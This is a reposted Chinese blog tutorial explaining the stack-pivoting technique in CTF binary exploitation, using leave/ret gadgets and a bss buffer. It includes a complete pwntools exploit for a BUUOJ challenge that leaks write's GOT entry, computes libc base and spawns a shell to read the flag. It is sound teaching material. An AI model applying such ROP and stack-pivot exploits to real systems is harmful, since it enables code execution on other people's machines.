ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

PWN题型之栈迁移

2021-07-30 19:34:13  阅读:773  来源: 互联网

标签:题型 addr libc leave 之栈 ret write p32 PWN


文章目录

前言

菜鸡总结,如有不对,望各位大佬及时指点,以免误人子弟。



0x1 :基本知识:

想必大家都知道用栈迁移技术来解决的问题了吧———溢出的长度不够,只能覆盖到返回地址,至于后面需要构造的rop链的长度显然是不够的。

如果大家对于C语言调用栈还不是很了解的话,建议了解之后再往下看,因为这个对于了解栈迁移有很大的帮助。可以看我的博客C语言调用栈 ,也可以自行去百度上面了解。

下面讲一下栈迁移用到的最关键的两个汇编指令leave指令和ret指令。其作用就是用来还原栈空间的。
在这里插入图片描述
其作用大概就是这样:
在这里插入图片描述



0x2 :利用思路 :

利用前提:(1)存在两个变量的输入,如果只能输入一次的话,那必然无法造成溢出,其中一个输入buf变量刚好能溢出到返回地址,而另一个输入变量s的内容应该是存放到bss段的(目前我做到的都存到bss段)。
在这里插入图片描述
在这里插入图片描述

利用思路:一个栈空间长度不够,我既然能够输入两次,那我为什么不把这两个栈空间串联起来,就像把它变成一个栈一样(当然实质并不是这样的),这样的栈空间不就足够了吗?重点就是怎么样把两个栈串联起来呢?重点就是leave和ret指令。

首先我们知道调用栈的过程会保存栈布局,并且会移动ebp、esp以此来形成新的栈帧。那和leave ret指令有什么关系呢?

首先我们要知道栈迁移的payload的构成。下面是以32位的libc题型为例画的示意图

在这里插入图片描述

我们重点来讲一讲函数调用完以后的返回过程,我们是怎么样串联起来的。

(1)第一个leave指令:它先将栈空间清空,将esp弄了回来,然后将bss段的地址传给了ebp。

在这里插入图片描述

(2)第一个ret指令:它将带有leave和ret指令的地址传给了eip,那么接下来程序又会跳转到leave处adow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxMDMyODA3,size_16,color_FFFFFF,t_70)
在这里插入图片描述

(3)第二个leave指令:是不是很熟悉和c语言函数调用栈,先push ebp,然后mov ebp esp。只是这里不一样的是 这里是mov esp ebp。但其目的都是让ebp与esp处在一起,
在这里插入图片描述

(4)第二个ret指令:将write_plt_addr传给eip,执行write函数。

总共返回时的流程为:

在这里插入图片描述

0x3 :实例讲解

题目链接:[Black Watch 入群题]PWN

程序分析:32位程序,开启了NX保护。打开IDA,查看一下源代码
在这里插入图片描述
代码分析:上文分析过了,漏洞利用:栈迁移技巧,然后发现没有system函数而且开启了NX保护,所以利用libc的来泄露system函数。本题:栈迁移 + libc。libc题型不会的可以看我的 PWN题型之Ret2libc

exp :

from pwn import *

#r = process("./pwn")
r = remote("node4.buuoj.cn",26026)

e = ELF("./pwn")
context(log_level = 'debug')
libc = ELF("./libc-2.23.so")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
bss_addr = 0x0804A300
leave_ret_addr = 0x08048511 

payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("What is your name?")
r.sendline(payload1)

offset = 0x18
payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

r.recvuntil("What do you want to say?")
r.send(payload2)

write_addr = u32(r.recv(4))
print(hex(write_addr))
#pause()

base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()

payload3 = p32(system_addr) + p32(1) + p32(binsh_addr)
r.recvuntil("What is your name?")
r.sendline(payload3)

payload4 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)
r.recvuntil("What do you want to say?")
r.sendline(payload4)

r.sendline("cat flag")
r.interactive()


这里有一个需要注意的点就是,第二个payload发送是用的send,而不是sendline,这里我卡了半天。我觉得这和read函数的读取机制有关系,因为read函数是会读取\n的,当你发送的内容没有溢出的话,它会输出下来,但是当你溢出时他只会输出最多的字节数。具体的原理我也是还没搞懂。

总结:

栈迁移就是将这个空间不够的栈劫持(转移)到我能够写入的一个地方,只要这个地方的内容我提前布局好,就能想你想做的事情,我觉得就是两个栈空间结合起来,以此来扩大空间。

其实如果不是很懂得话,只需要记住:两个payload加起来,然后与之前的想必中间多了一个bss_addr和leave_ret_addr,并且偏移量只是到ebp处。但是如果只是知道做题而不懂原理我是一点作用都没有的,不要为了做题而做题,做题是为了掌握知识点。

标签:题型,addr,libc,leave,之栈,ret,write,p32,PWN
来源: https://blog.csdn.net/qq_51032807/article/details/119211154

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有